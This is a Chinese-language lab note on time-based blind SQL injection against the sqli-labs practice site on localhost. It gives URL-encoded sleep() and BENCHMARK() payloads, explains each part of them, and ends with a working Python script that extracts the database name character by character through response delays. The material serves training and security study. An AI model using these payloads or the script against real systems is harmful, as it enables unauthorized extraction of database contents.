延时注入
- 用sleep()函数尝试注入
http://localhost/sqli-labs/Less-5/?id=1%27and%20if%20(ascii(substr(database(),1,1))=115,1,sleep(3))%20--+
当错误时,会有3秒的时间延时。
- 利用BENCHMARK()进行延时注入,当结果正确的时候,运行ENCODE(‘MSG’,‘by 5 seconds’)操作50000000次,会占用一段时间。
?id=1%27UNION%20SELECT%20(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE(%27MSG%27,%27by%205%20seconds%27)),null)),2,3%20FROM%20(select%20database()%20as%20current)%20as%20tb1--+
-
IF 函数和 SUBSTRING:
IF(SUBSTRING(current,1,1)=CHAR(115),...)
这部分代码检查current
字段的第一个字符是否是字符's'
(ASCII 码为 115)。如果是,那么执行后面的代码;如果不是,返回null
。这是攻击者用来检测数据库名称是否以某个特定字符开始的方式。 -
BENCHMARK 和 ENCODE:
BENCHMARK(50000000,ENCODE('MSG','by 5 seconds'))
这部分代码用于产生延迟。BENCHMARK
函数执行一个操作指定的次数,这里是 50,000,000 次。ENCODE
函数用于加密字符串,但在这里它的主要目的是产生一个较长的字符串,以使得BENCHMARK
产生明显的延迟。如果IF
函数的条件为真,那么这个延迟就会被触发,使得整个查询运行得更慢。攻击者可以通过测量查询的响应时间来判断IF
函数的条件是否为真,从而推断出数据库名称的第一个字符。 -
FROM (select database() as current):这部分代码创建了一个子查询,该查询返回当前数据库的名称,并将其别名为
current
。这样,攻击者就可以在IF
函数中引用它。
POC
- 以Less-9为例:
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-9/index.php"
def inject_database(url):
name = ''
for i in range(1, 10):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
params = {"id": payload}
start_time = time.time()
res = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)